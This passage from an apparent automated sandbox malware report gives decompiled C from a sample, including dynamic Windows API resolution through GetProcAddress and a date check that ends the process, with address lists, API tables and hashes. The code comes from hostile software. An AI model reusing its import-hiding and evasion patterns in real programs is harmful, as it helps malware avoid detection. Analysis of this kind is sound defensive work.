					 *0x41a948 = GetProcAddress(_t246, _t64);
					_t336 =  *0x41a274; // 0x885b90
					_t66 =  *0x41a988; // 0x76b90000
					 *0x41a8bc = GetProcAddress(_t66, _t336);
					_t247 =  *0x41a624; // 0x89aac0
					_t337 =  *0x41a988; // 0x76b90000
					 *0x41a898 = GetProcAddress(_t337, _t247);
					_t69 =  *0x41a2b8; // 0x89a150
					_t248 =  *0x41a988; // 0x76b90000
					 *0x41a880 = GetProcAddress(_t248, _t69);
					_t338 =  *0x41a5f0; // 0x89aad8
					_t71 =  *0x41a988; // 0x76b90000
					 *0x41aa38 = GetProcAddress(_t71, _t338);
					_t249 =  *0x41a19c; // 0x89aaf0
					_t339 =  *0x41a988; // 0x76b90000
					 *0x41a93c = GetProcAddress(_t339, _t249);
					_t74 =  *0x41a73c; // 0x89a910
					_t250 =  *0x41a988; // 0x76b90000
					 *0x41a9f0 = GetProcAddress(_t250, _t74);
					_t340 =  *0x41a254; // 0x89a958
					_t76 =  *0x41a988; // 0x76b90000
					 *0x41a918 = GetProcAddress(_t76, _t340);
					_t251 =  *0x41a404; // 0x89a200
					_t341 =  *0x41a988; // 0x76b90000
					 *0x41a87c = GetProcAddress(_t341, _t251);
					_t79 =  *0x41a17c; // 0x885bb0
					_t252 =  *0x41a988; // 0x76b90000
					 *0x41a9a8 = GetProcAddress(_t252, _t79);
					_t342 =  *0x41a154; // 0x89a970
					_t81 =  *0x41a988; // 0x76b90000
					 *0x41a8d4 = GetProcAddress(_t81, _t342);
					_t253 =  *0x41a778; // 0x89a850
					_t343 =  *0x41a988; // 0x76b90000
					_t17 = GetProcAddress(_t343, _t253);
					 *0x41a9f8 = _t17;
				}
				if( *0x41aa40 != 0) {
					_t60 =  *0x41a120; // 0x899488
					_t244 =  *0x41aa40; // 0x6f160000
					_t17 = GetProcAddress(_t244, _t60); // executed
					 *0x41a864 = _t17;
				}
				if( *0x41a94c != 0) {
					_t333 =  *0x41a3a0; // 0x885cd0
					_t59 =  *0x41a94c; // 0x768e0000
					_t17 = GetProcAddress(_t59, _t333);
					 *0x41aa48 = _t17;
				}
				if( *0x41a934 != 0) {
					_t243 =  *0x41a354; // 0x885d10
					_t332 =  *0x41a934; // 0x749a0000
					_t17 = GetProcAddress(_t332, _t243);
					 *0x41a91c = _t17;
				}
				if( *0x41aa34 != 0) {
					_t50 =  *0x41a108; // 0x899838
					_t239 =  *0x41aa34; // 0x73da0000
					 *0x41a95c = GetProcAddress(_t239, _t50);
					_t328 =  *0x41a710; // 0x885a70
					_t52 =  *0x41aa34; // 0x73da0000
					 *0x41aa18 = GetProcAddress(_t52, _t328);
					_t240 =  *0x41a510; // 0x8999f0
					_t329 =  *0x41aa34; // 0x73da0000
					 *0x41a900 = GetProcAddress(_t329, _t240);
					_t55 =  *0x41a35c; // 0x885bd0
					_t241 =  *0x41aa34; // 0x73da0000
					 *0x41a8e0 = GetProcAddress(_t241, _t55);
					_t330 =  *0x41a524; // 0x899b58
					_t57 =  *0x41aa34; // 0x73da0000
					 *0x41a8c0 = GetProcAddress(_t57, _t330);
					_t242 =  *0x41a0a0; // 0x89a898
					_t331 =  *0x41aa34; // 0x73da0000
					_t17 = GetProcAddress(_t331, _t242);
					 *0x41aa60 = _t17;
				}
				if( *0x41aa80 != 0) {
					_t41 =  *0x41a2fc; // 0x89a8b0
					_t235 =  *0x41aa80; // 0x72e20000
					 *0x41a9c8 = GetProcAddress(_t235, _t41);
					_t324 =  *0x41a508; // 0x89a9a0
					_t43 =  *0x41aa80; // 0x72e20000
					 *0x41a924 = GetProcAddress(_t43, _t324);
					_t236 =  *0x41a540; // 0x885bf0
					_t325 =  *0x41aa80; // 0x72e20000
					 *0x41aa30 = GetProcAddress(_t325, _t236);
					_t46 =  *0x41a214; // 0x89b518
					_t237 =  *0x41aa80; // 0x72e20000
					 *0x41a888 = GetProcAddress(_t237, _t46);
					_t326 =  *0x41a794; // 0x89b7b8
					_t48 =  *0x41aa80; // 0x72e20000
					 *0x41a99c = GetProcAddress(_t48, _t326);
					_t238 =  *0x41a7d0; // 0x89a8c8
					_t327 =  *0x41aa80; // 0x72e20000
					_t17 = GetProcAddress(_t327, _t238);
					 *0x41aa08 = _t17;
				}
				if( *0x41a968 != 0) {
					_t37 =  *0x41a178; // 0x89a9d0
					_t233 =  *0x41a968; // 0x76720000
					 *0x41aa4c = GetProcAddress(_t233, _t37);
					_t322 =  *0x41a69c; // 0x89a0c0
					_t39 =  *0x41a968; // 0x76720000
					 *0x41a89c = GetProcAddress(_t39, _t322);
					_t234 =  *0x41a0e4; // 0x89a9e8
					_t323 =  *0x41a968; // 0x76720000
					_t17 = GetProcAddress(_t323, _t234);
					 *0x41a90c = _t17;
				}
				if( *0x41aa98 != 0) {
					_t34 =  *0x41a270; // 0x89b458
					_t232 =  *0x41aa98; // 0x75390000
					 *0x41aa00 = GetProcAddress(_t232, _t34);
					_t321 =  *0x41a378; // 0x89aa00
					_t36 =  *0x41aa98; // 0x75390000
					_t17 = GetProcAddress(_t36, _t321);
					 *0x41aa84 = _t17;
				}
				if( *0x41a938 != 0) {
					_t226 =  *0x41a3cc; // 0x899b80
					_t316 =  *0x41a938; // 0x73660000
					 *0x41a8dc = GetProcAddress(_t316, _t226);
					_t23 =  *0x41a2a0; // 0x89b538
					_t227 =  *0x41a938; // 0x73660000
					 *0x41a928 = GetProcAddress(_t227, _t23);
					_t317 =  *0x41a308; // 0x899bf8
					_t25 =  *0x41a938; // 0x73660000
					 *0x41a9e8 = GetProcAddress(_t25, _t317);
					_t228 =  *0x41a150; // 0x89add8
					_t318 =  *0x41a938; // 0x73660000
					 *0x41aa2c = GetProcAddress(_t318, _t228);
					_t28 =  *0x41a4f4; // 0x89ad18
					_t229 =  *0x41a938; // 0x73660000
					 *0x41aa0c = GetProcAddress(_t229, _t28);
					_t319 =  *0x41a7c8; // 0x89b4f8
					_t30 =  *0x41a938; // 0x73660000
					 *0x41a9b8 = GetProcAddress(_t30, _t319);
					_t230 =  *0x41a380; // 0x89b758
					_t320 =  *0x41a938; // 0x73660000
					 *0x41a8f0 = GetProcAddress(_t320, _t230);
					_t33 =  *0x41a7b8; // 0x89aca0
					_t231 =  *0x41a938; // 0x73660000
					_t17 = GetProcAddress(_t231, _t33);
					 *0x41aa7c = _t17;
				}
				if( *0x41a97c != 0) {
					_t314 =  *0x41a174; // 0x89b558
					_t20 =  *0x41a97c; // 0x747d0000
					 *0x41a98c = GetProcAddress(_t20, _t314);
					_t225 =  *0x41a3d8; // 0x89b498
					_t315 =  *0x41a97c; // 0x747d0000
					_t17 = GetProcAddress(_t315, _t225);
					 *0x41a884 = _t17;
				}
				if( *0x41aa88 != 0) {
					_t18 =  *0x41a448; // 0x89abe0
					_t224 =  *0x41aa88; // 0x6ea30000
					_t19 = GetProcAddress(_t224, _t18);
					 *0x41a990 = _t19;
					return _t19;
				}
				return _t17;
			}

0x0040c4aa
0x0040c4b0
0x0040c4b6
0x0040c4c3
0x0040c4c8
0x0040c4cf
0x0040c4db
0x0040c4e0
0x0040c4e7
0x0040c4f4
0x0040c4f9
0x0040c4ff
0x0040c50c
0x0040c511
0x0040c518
0x0040c524
0x0040c529
0x0040c530
0x0040c53d
0x0040c542
0x0040c548
0x0040c555
0x0040c55a
0x0040c561
0x0040c56d
0x0040c572
0x0040c579
0x0040c586
0x0040c58b
0x0040c591
0x0040c59e
0x0040c5a3
0x0040c5aa
0x0040c5b6
0x0040c5bb
0x0040c5c2
0x0040c5cf
0x0040c5d4
0x0040c5da
0x0040c5e7
0x0040c5ec
0x0040c5f3
0x0040c5ff
0x0040c604
0x0040c60b
0x0040c618
0x0040c61d
0x0040c623
0x0040c630
0x0040c635
0x0040c63c
0x0040c648
0x0040c64d
0x0040c654
0x0040c661
0x0040c666
0x0040c66c
0x0040c679
0x0040c67e
0x0040c685
0x0040c691
0x0040c696
0x0040c69d
0x0040c6aa
0x0040c6af
0x0040c6b5
0x0040c6c2
0x0040c6c7
0x0040c6ce
0x0040c6da
0x0040c6df
0x0040c6e6
0x0040c6f3
0x0040c6f8
0x0040c6fe
0x0040c70b
0x0040c710
0x0040c717
0x0040c723
0x0040c728
0x0040c72f
0x0040c73c
0x0040c741
0x0040c747
0x0040c754
0x0040c759
0x0040c760
0x0040c76c
0x0040c771
0x0040c778
0x0040c785
0x0040c78a
0x0040c790
0x0040c79d
0x0040c7a2
0x0040c7a9
0x0040c7b5
0x0040c7ba
0x0040c7c1
0x0040c7ce
0x0040c7d3
0x0040c7d9
0x0040c7e6
0x0040c7eb
0x0040c7f2
0x0040c7fe
0x0040c803
0x0040c80a
0x0040c817
0x0040c81c
0x0040c822
0x0040c82f
0x0040c834
0x0040c83b
0x0040c847
0x0040c84c
0x0040c853
0x0040c860
0x0040c865
0x0040c86b
0x0040c878
0x0040c87d
0x0040c884
0x0040c890
0x0040c895
0x0040c89c
0x0040c8a9
0x0040c8ae
0x0040c8b4
0x0040c8c1
0x0040c8c6
0x0040c8cd
0x0040c8d9
0x0040c8de
0x0040c8e5
0x0040c8f2
0x0040c8f7
0x0040c8fd
0x0040c90a
0x0040c90f
0x0040c916
0x0040c922
0x0040c927
0x0040c92e
0x0040c93b
0x0040c940
0x0040c946
0x0040c953
0x0040c958
0x0040c95f
0x0040c96b
0x0040c970
0x0040c977
0x0040c984
0x0040c98e
0x0040c99a
0x0040c9a4
0x0040c9b1
0x0040c9bb
0x0040c9c8
0x0040c9d2
0x0040c9de
0x0040c9e8
0x0040c9f5
0x0040c9f5
0x0040c9fa
0x0040ca07
0x0040ca0c
0x0040ca12
0x0040ca18
0x0040ca1d
0x0040ca2a
0x0040ca2f
0x0040ca3c
0x0040ca41
0x0040ca47
0x0040ca4d
0x0040ca52
0x0040ca59
0x0040ca5f
0x0040ca64
0x0040ca6b
0x0040ca71
0x0040ca76
0x0040ca7c
0x0040ca82
0x0040ca87
0x0040ca8e
0x0040ca94
0x0040ca99
0x0040caa0
0x0040caa6
0x0040caab
0x0040cab1
0x0040cab7
0x0040cabc
0x0040cac3
0x0040cac9
0x0040cace
0x0040cad5
0x0040cadb
0x0040cae7
0x0040cae9
0x0040caef
0x0040cafc
0x0040cb06
0x0040cb13
0x0040cb1d
0x0040cb23
0x0040cb29
0x0040cb29
0x0040cb35
0x0040cb3b
0x0040cb42
0x0040cb4f
0x0040cb54
0x0040cb5a
0x0040cb67
0x0040cb6c
0x0040cb73
0x0040cb7f
0x0040cb84
0x0040cb8b
0x0040cb98
0x0040cb9d
0x0040cba3
0x0040cbb0
0x0040cbb5
0x0040cbbc
0x0040cbc8
0x0040cbcd
0x0040cbd4
0x0040cbe1
0x0040cbe6
0x0040cbec
0x0040cbf9
0x0040cbfe
0x0040cc05
0x0040cc11
0x0040cc1b
0x0040cc22
0x0040cc28
0x0040cc28
0x0040cc34
0x0040cc3a
0x0040cc41
0x0040cc4d
0x0040cc52
0x0040cc59
0x0040cc66
0x0040cc6b
0x0040cc71
0x0040cc7e
0x0040cc83
0x0040cc8a
0x0040cc96
0x0040cc9b
0x0040cca2
0x0040ccaf
0x0040ccb4
0x0040ccba
0x0040ccc7
0x0040cccc
0x0040ccd3
0x0040ccdf
0x0040cce4
0x0040cceb
0x0040ccf8
0x0040ccfd
0x0040cd03
0x0040cd10
0x0040cd15
0x0040cd1c
0x0040cd28
0x0040cd2d
0x0040cd34
0x0040cd3b
0x0040cd41
0x0040cd41
0x0040cd4d
0x0040cd53
0x0040cd59
0x0040cd66
0x0040cd6b
0x0040cd72
0x0040cd7e
0x0040cd83
0x0040cd8a
0x0040cd97
0x0040cd9c
0x0040cda2
0x0040cdaf
0x0040cdb4
0x0040cdbb
0x0040cdc7
0x0040cdd1
0x0040cdd8
0x0040cdde
0x0040cdde
0x0040cdea
0x0040cdf0
0x0040cdf7
0x0040ce03
0x0040ce08
0x0040ce0f
0x0040ce1c
0x0040ce21
0x0040ce27
0x0040ce34
0x0040ce39
0x0040ce40
0x0040ce4c
0x0040ce51
0x0040ce58
0x0040ce65
0x0040ce6a
0x0040ce70
0x0040ce7d
0x0040ce82
0x0040ce89
0x0040ce95
0x0040ce9a
0x0040cea1
0x0040ceae
0x0040ceb3
0x0040ceb9
0x0040cec6
0x0040cecb
0x0040ced2
0x0040cede
0x0040cee3
0x0040ceea
0x0040cef7
0x0040cefc
0x0040cf02
0x0040cf0f
0x0040cf14
0x0040cf1b
0x0040cf27
0x0040cf2c
0x0040cf33
0x0040cf3a
0x0040cf40
0x0040cf40
0x0040cf4c
0x0040cf4e
0x0040cf54
0x0040cf5b
0x0040cf61
0x0040cf61
0x0040cf6d
0x0040cf6f
0x0040cf76
0x0040cf7c
0x0040cf82
0x0040cf82
0x0040cf8e
0x0040cf90
0x0040cf97
0x0040cf9e
0x0040cfa4
0x0040cfa4
0x0040cfb0
0x0040cfb6
0x0040cfbc
0x0040cfc9
0x0040cfce
0x0040cfd5
0x0040cfe1
0x0040cfe6
0x0040cfed
0x0040cffa
0x0040cfff
0x0040d005
0x0040d012
0x0040d017
0x0040d01e
0x0040d02a
0x0040d02f
0x0040d036
0x0040d03d
0x0040d043
0x0040d043
0x0040d04f
0x0040d055
0x0040d05b
0x0040d068
0x0040d06d
0x0040d074
0x0040d080
0x0040d085
0x0040d08c
0x0040d099
0x0040d09e
0x0040d0a4
0x0040d0b1
0x0040d0b6
0x0040d0bd
0x0040d0c9
0x0040d0ce
0x0040d0d5
0x0040d0dc
0x0040d0e2
0x0040d0e2
0x0040d0ee
0x0040d0f0
0x0040d0f6
0x0040d103
0x0040d108
0x0040d10f
0x0040d11b
0x0040d120
0x0040d127
0x0040d12e
0x0040d134
0x0040d134
0x0040d140
0x0040d142
0x0040d148
0x0040d155
0x0040d15a
0x0040d161
0x0040d167
0x0040d16d
0x0040d16d
0x0040d179
0x0040d17f
0x0040d186
0x0040d193
0x0040d198
0x0040d19e
0x0040d1ab
0x0040d1b0
0x0040d1b7
0x0040d1c3
0x0040d1c8
0x0040d1cf
0x0040d1dc
0x0040d1e1
0x0040d1e7
0x0040d1f4
0x0040d1f9
0x0040d200
0x0040d20c
0x0040d211
0x0040d218
0x0040d225
0x0040d22a
0x0040d230
0x0040d237
0x0040d23d
0x0040d23d
0x0040d249
0x0040d24b
0x0040d252
0x0040d25e
0x0040d263
0x0040d26a
0x0040d271
0x0040d277
0x0040d277
0x0040d283
0x0040d285
0x0040d28b
0x0040d292
0x0040d298
0x00000000
0x0040d298
0x0040d29e

APIs

GetProcAddress.KERNEL32(74DF0000,0089A4C0), ref: 0040C4BD
GetProcAddress.KERNEL32(74DF0000,0089A5E0), ref: 0040C4D5
GetProcAddress.KERNEL32(74DF0000,00885950), ref: 0040C4EE
GetProcAddress.KERNEL32(74DF0000,0089A778), ref: 0040C506
GetProcAddress.KERNEL32(74DF0000,0089A748), ref: 0040C51E
GetProcAddress.KERNEL32(74DF0000,0089A7F0), ref: 0040C537
GetProcAddress.KERNEL32(74DF0000,0089A7C0), ref: 0040C54F
GetProcAddress.KERNEL32(74DF0000,0089A790), ref: 0040C567
GetProcAddress.KERNEL32(74DF0000,0089A7A8), ref: 0040C580
GetProcAddress.KERNEL32(74DF0000,0089A7D8), ref: 0040C598
GetProcAddress.KERNEL32(74DF0000,0089AF28), ref: 0040C5B0
GetProcAddress.KERNEL32(74DF0000,0089AF70), ref: 0040C5C9
GetProcAddress.KERNEL32(74DF0000,0089AEF8), ref: 0040C5E1
GetProcAddress.KERNEL32(74DF0000,00885790), ref: 0040C5F9
GetProcAddress.KERNEL32(74DF0000,0089AFD0), ref: 0040C612
GetProcAddress.KERNEL32(74DF0000,008857B0), ref: 0040C62A
GetProcAddress.KERNEL32(74DF0000,00899CC0), ref: 0040C642
GetProcAddress.KERNEL32(74DF0000,0089AF88), ref: 0040C65B
GetProcAddress.KERNEL32(74DF0000,008857D0), ref: 0040C673
GetProcAddress.KERNEL32(74DF0000,0089AFA0), ref: 0040C68B
GetProcAddress.KERNEL32(74DF0000,00885810), ref: 0040C6A4
GetProcAddress.KERNEL32(74DF0000,0089AFE8), ref: 0040C6BC
GetProcAddress.KERNEL32(74DF0000,0089AFB8), ref: 0040C6D4
GetProcAddress.KERNEL32(74DF0000,0089B000), ref: 0040C6ED
GetProcAddress.KERNEL32(74DF0000,0089AE68), ref: 0040C705
GetProcAddress.KERNEL32(74DF0000,00885630), ref: 0040C71D
GetProcAddress.KERNEL32(74DF0000,0089AE50), ref: 0040C736
GetProcAddress.KERNEL32(74DF0000,0089AEE0), ref: 0040C74E
GetProcAddress.KERNEL32(74DF0000,0089AF40), ref: 0040C766
GetProcAddress.KERNEL32(74DF0000,00885650), ref: 0040C77F
GetProcAddress.KERNEL32(74DF0000,0089AE80), ref: 0040C797
GetProcAddress.KERNEL32(74DF0000,0089AF10), ref: 0040C7AF
GetProcAddress.KERNEL32(74DF0000,0089AE98), ref: 0040C7C8
GetProcAddress.KERNEL32(74DF0000,0089AF58), ref: 0040C7E0
GetProcAddress.KERNEL32(74DF0000,0089AEB0), ref: 0040C7F8
GetProcAddress.KERNEL32(74DF0000,008859D0), ref: 0040C811
GetProcAddress.KERNEL32(74DF0000,00885C50), ref: 0040C829
GetProcAddress.KERNEL32(74DF0000,0089AEC8), ref: 0040C841
GetProcAddress.KERNEL32(74DF0000,0089A928), ref: 0040C85A
GetProcAddress.KERNEL32(74DF0000,00885C70), ref: 0040C872
GetProcAddress.KERNEL32(74DF0000,00899B30), ref: 0040C88A
GetProcAddress.KERNEL32(74DF0000,0089A940), ref: 0040C8A3
GetProcAddress.KERNEL32(74DF0000,0089AB38), ref: 0040C8BB
GetProcAddress.KERNEL32(74DF0000,00885D30), ref: 0040C8D3
GetProcAddress.KERNEL32(74DF0000,00885990), ref: 0040C8EC
GetProcAddress.KERNEL32(74DF0000,00885B50), ref: 0040C904
GetProcAddress.KERNEL32(74DF0000,0089AA60), ref: 0040C91C
GetProcAddress.KERNEL32(74DF0000,00885A10), ref: 0040C935
GetProcAddress.KERNEL32(74DF0000,0089AA48), ref: 0040C94D
GetProcAddress.KERNEL32(74DF0000,00885CF0), ref: 0040C965
GetProcAddress.KERNEL32(74DF0000,00885C30), ref: 0040C97E
GetProcAddress.KERNEL32(74DF0000,CreateThread), ref: 0040C994
GetProcAddress.KERNEL32(74DF0000,GetEnvironmentVariableA), ref: 0040C9AB
GetProcAddress.KERNEL32(74DF0000,SetEnvironmentVariableA), ref: 0040C9C2
GetProcAddress.KERNEL32(74DF0000,lstrcpyA), ref: 0040C9D8
GetProcAddress.KERNEL32(74DF0000,lstrcpynA), ref: 0040C9EF
LoadLibraryA.KERNEL32(0089A598,?,00406BAD), ref: 0040CA01
LoadLibraryA.KERNELBASE(0089A460,?,00406BAD), ref: 0040CA12
LoadLibraryA.KERNEL32(0089A4D8,?,00406BAD), ref: 0040CA24
LoadLibraryA.KERNEL32(0089A4F0,?,00406BAD), ref: 0040CA36
LoadLibraryA.KERNELBASE(0089A628,?,00406BAD), ref: 0040CA47
LoadLibraryA.KERNELBASE(0089A508,?,00406BAD), ref: 0040CA59
LoadLibraryA.KERNELBASE(0089A640,?,00406BAD), ref: 0040CA6B
LoadLibraryA.KERNELBASE(0089A6D0,?,00406BAD), ref: 0040CA7C
LoadLibraryA.KERNELBASE(0089A700,?,00406BAD), ref: 0040CA8E
LoadLibraryA.KERNELBASE(0089A538,?,00406BAD), ref: 0040CAA0
LoadLibraryA.KERNELBASE(0089A550,?,00406BAD), ref: 0040CAB1
LoadLibraryA.KERNELBASE(0089A568,?,00406BAD), ref: 0040CAC3
LoadLibraryA.KERNELBASE(0089A808,?,00406BAD), ref: 0040CAD5
GetProcAddress.KERNEL32(775E0000,0089A140), ref: 0040CAF6
GetProcAddress.KERNEL32(775E0000,memset), ref: 0040CB0D
GetProcAddress.KERNEL32(775E0000,memcpy), ref: 0040CB23
GetProcAddress.KERNEL32(6FC40000,0089AB08), ref: 0040CB49
GetProcAddress.KERNEL32(6FC40000,00885AB0), ref: 0040CB61
GetProcAddress.KERNEL32(6FC40000,00885B10), ref: 0040CB79
GetProcAddress.KERNEL32(6FC40000,00885C90), ref: 0040CB92
GetProcAddress.KERNEL32(6FC40000,0089AB20), ref: 0040CBAA
GetProcAddress.KERNEL32(6FC40000,00885AD0), ref: 0040CBC2
GetProcAddress.KERNEL32(6FC40000,00885B30), ref: 0040CBDB
GetProcAddress.KERNEL32(6FC40000,008859F0), ref: 0040CBF3
GetProcAddress.KERNEL32(6FC40000,00885AF0), ref: 0040CC0B
GetProcAddress.KERNEL32(6FC40000,InternetCrackUrlA), ref: 0040CC22
GetProcAddress.KERNEL32(768F0000,0089AA30), ref: 0040CC47
GetProcAddress.KERNEL32(768F0000,0089A8E0), ref: 0040CC60
GetProcAddress.KERNEL32(768F0000,008859B0), ref: 0040CC78
GetProcAddress.KERNEL32(768F0000,00885B70), ref: 0040CC90
GetProcAddress.KERNEL32(768F0000,0089A9B8), ref: 0040CCA9
GetProcAddress.KERNEL32(768F0000,0089A130), ref: 0040CCC1
GetProcAddress.KERNEL32(768F0000,00885C10), ref: 0040CCD9
GetProcAddress.KERNEL32(768F0000,00885CB0), ref: 0040CCF2
GetProcAddress.KERNEL32(768F0000,0089A988), ref: 0040CD0A
GetProcAddress.KERNEL32(768F0000,0089AAA8), ref: 0040CD22
GetProcAddress.KERNEL32(768F0000,0089A880), ref: 0040CD3B
GetProcAddress.KERNEL32(74B40000,0089AA18), ref: 0040CD60
GetProcAddress.KERNEL32(74B40000,00885A90), ref: 0040CD78
GetProcAddress.KERNEL32(74B40000,0089A8F8), ref: 0040CD91
GetProcAddress.KERNEL32(74B40000,00885A30), ref: 0040CDA9
GetProcAddress.KERNEL32(74B40000,0089AA78), ref: 0040CDC1
GetProcAddress.KERNEL32(74B40000,RegGetValueA), ref: 0040CDD8
GetProcAddress.KERNEL32(76B90000,0089AA90), ref: 0040CDFD
GetProcAddress.KERNEL32(76B90000,0089A868), ref: 0040CE16
GetProcAddress.KERNEL32(76B90000,00885A50), ref: 0040CE2E
GetProcAddress.KERNEL32(76B90000,00885B90), ref: 0040CE46
GetProcAddress.KERNEL32(76B90000,0089AAC0), ref: 0040CE5F
GetProcAddress.KERNEL32(76B90000,0089A150), ref: 0040CE77
GetProcAddress.KERNEL32(76B90000,0089AAD8), ref: 0040CE8F
GetProcAddress.KERNEL32(76B90000,0089AAF0), ref: 0040CEA8
GetProcAddress.KERNEL32(76B90000,0089A910), ref: 0040CEC0
GetProcAddress.KERNEL32(76B90000,0089A958), ref: 0040CED8
GetProcAddress.KERNEL32(76B90000,0089A200), ref: 0040CEF1
GetProcAddress.KERNEL32(76B90000,00885BB0), ref: 0040CF09
GetProcAddress.KERNEL32(76B90000,0089A970), ref: 0040CF21
GetProcAddress.KERNEL32(76B90000,0089A850), ref: 0040CF3A
GetProcAddress.KERNELBASE(6F160000,00899488), ref: 0040CF5B
GetProcAddress.KERNEL32(768E0000,00885CD0), ref: 0040CF7C
GetProcAddress.KERNEL32(749A0000,00885D10), ref: 0040CF9E
GetProcAddress.KERNEL32(73DA0000,00899838), ref: 0040CFC3
GetProcAddress.KERNEL32(73DA0000,00885A70), ref: 0040CFDB
GetProcAddress.KERNEL32(73DA0000,008999F0), ref: 0040CFF4
GetProcAddress.KERNEL32(73DA0000,00885BD0), ref: 0040D00C
GetProcAddress.KERNEL32(73DA0000,00899B58), ref: 0040D024
GetProcAddress.KERNEL32(73DA0000,0089A898), ref: 0040D03D
GetProcAddress.KERNEL32(72E20000,0089A8B0), ref: 0040D062
GetProcAddress.KERNEL32(72E20000,0089A9A0), ref: 0040D07A
GetProcAddress.KERNEL32(72E20000,00885BF0), ref: 0040D093
GetProcAddress.KERNEL32(72E20000,0089B518), ref: 0040D0AB
GetProcAddress.KERNEL32(72E20000,0089B7B8), ref: 0040D0C3
GetProcAddress.KERNEL32(72E20000,0089A8C8), ref: 0040D0DC
GetProcAddress.KERNEL32(76720000,0089A9D0), ref: 0040D0FD
GetProcAddress.KERNEL32(76720000,0089A0C0), ref: 0040D115
GetProcAddress.KERNEL32(76720000,0089A9E8), ref: 0040D12E
GetProcAddress.KERNEL32(75390000,0089B458), ref: 0040D14F
GetProcAddress.KERNEL32(75390000,0089AA00), ref: 0040D167
GetProcAddress.KERNEL32(73660000,00899B80), ref: 0040D18D
GetProcAddress.KERNEL32(73660000,0089B538), ref: 0040D1A5
GetProcAddress.KERNEL32(73660000,00899BF8), ref: 0040D1BD
GetProcAddress.KERNEL32(73660000,0089ADD8), ref: 0040D1D6
GetProcAddress.KERNEL32(73660000,0089AD18), ref: 0040D1EE
GetProcAddress.KERNEL32(73660000,0089B4F8), ref: 0040D206
GetProcAddress.KERNEL32(73660000,0089B758), ref: 0040D21F
GetProcAddress.KERNEL32(73660000,0089ACA0), ref: 0040D237
GetProcAddress.KERNEL32(747D0000,0089B558), ref: 0040D258
GetProcAddress.KERNEL32(747D0000,0089B498), ref: 0040D271
GetProcAddress.KERNEL32(6EA30000,0089ABE0), ref: 0040D292

Strings

lstrcpyA, xrefs: 0040C9CD
lstrcpynA, xrefs: 0040C9E3
SetEnvironmentVariableA, xrefs: 0040C9B6
memcpy, xrefs: 0040CB18
RegGetValueA, xrefs: 0040CDCC
memset, xrefs: 0040CB01
InternetCrackUrlA, xrefs: 0040CC16
GetEnvironmentVariableA, xrefs: 0040C99F
CreateThread, xrefs: 0040C989

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateThread$GetEnvironmentVariableA$InternetCrackUrlA$RegGetValueA$SetEnvironmentVariableA$lstrcpyA$lstrcpynA$memcpy$memset
API String ID: 2238633743-3231020739
Opcode ID: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction ID: 9bcd284fde1af5afdb9725a1d8ee7eb933c8521e96d2c529a01ce852b5064599
Opcode Fuzzy Hash: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction Fuzzy Hash: 9C820FF9523200EFC345DFA8EE889D637B9BB4C251715CA39E509C3661D73894A1CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 004068F0, Relevance: 9.1, APIs: 6, Instructions: 75
timestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E004068F0(void* __ecx, void* __eflags) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				char _v284;
				struct _SYSTEMTIME _v300;
				struct _SYSTEMTIME _v316;
				int _t45;
				char* _t52;
				intOrPtr _t57;
				void* _t66;

				E0040B720( &_v284, 0x104);
				_v300.wYear = 0;
				_v300.wMonth = 0;
				_v300.wDay = 0;
				_v300.wMinute = 0;
				_v300.wMilliseconds = 0;
				_v316.wYear = 0;
				_v316.wMonth = 0;
				_v316.wDay = 0;
				_v316.wMinute = 0;
				_v316.wMilliseconds = 0;
				_v20.dwLowDateTime = 0;
				_v20.dwHighDateTime = 0;
				_v12.dwLowDateTime = 0;
				_v12.dwHighDateTime = 0;
				GetSystemTime( &_v300);
				_t57 =  *0x41a60c; // 0x885690
				 *0x41aa24( &_v284, _t57);
				_t52 =  *0x41a104; // 0x8857f0
				sscanf( &_v284, _t52,  &(_v316.wDay),  &(_v316.wMonth),  &_v316,  &(_v316.wHour),  &(_v316.wMinute),  &(_v316.wSecond));
				SystemTimeToFileTime( &_v300,  &_v20);
				_t45 = SystemTimeToFileTime( &_v316,  &_v12);
				_t66 = _v20.dwHighDateTime - _v12.dwHighDateTime;
				if(_t66 >= 0 && (_t66 > 0 || _v20.dwLowDateTime > _v12.dwLowDateTime)) {
					ExitProcess(0); // executed
				}
				return _t45;
			}

0x00406905
0x0040690c
0x00406915
0x0040691b
0x00406921
0x00406927
0x00406930
0x00406939
0x0040693f
0x00406945
0x0040694b
0x00406952
0x0040695b
0x0040695e
0x00406967
0x00406971
0x00406977
0x00406985
0x004069b5
0x004069c3
0x004069d7
0x004069e8
0x004069f1
0x004069f4
0x00406a02
0x00406a02
0x00406a0b

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
lstrcat.KERNEL32(?,00885690), ref: 00406985
sscanf.NTDLL ref: 004069C3
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
ExitProcess.KERNEL32 ref: 00406A02

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID:
API String ID: 2797641603-0
Opcode ID: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction ID: e1bd8726115975e68c113ba4c939dbea9fdba7e28f8895f6eace496917ca047b
Opcode Fuzzy Hash: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction Fuzzy Hash: A531AEB5D1121CABCB58DF94DD85ADEB7B9AF48300F0085EAE10AA3150EB345B94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406B60, Relevance: 6.0, APIs: 4, Instructions: 49
threadsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			_entry_() {
				void* _t5;
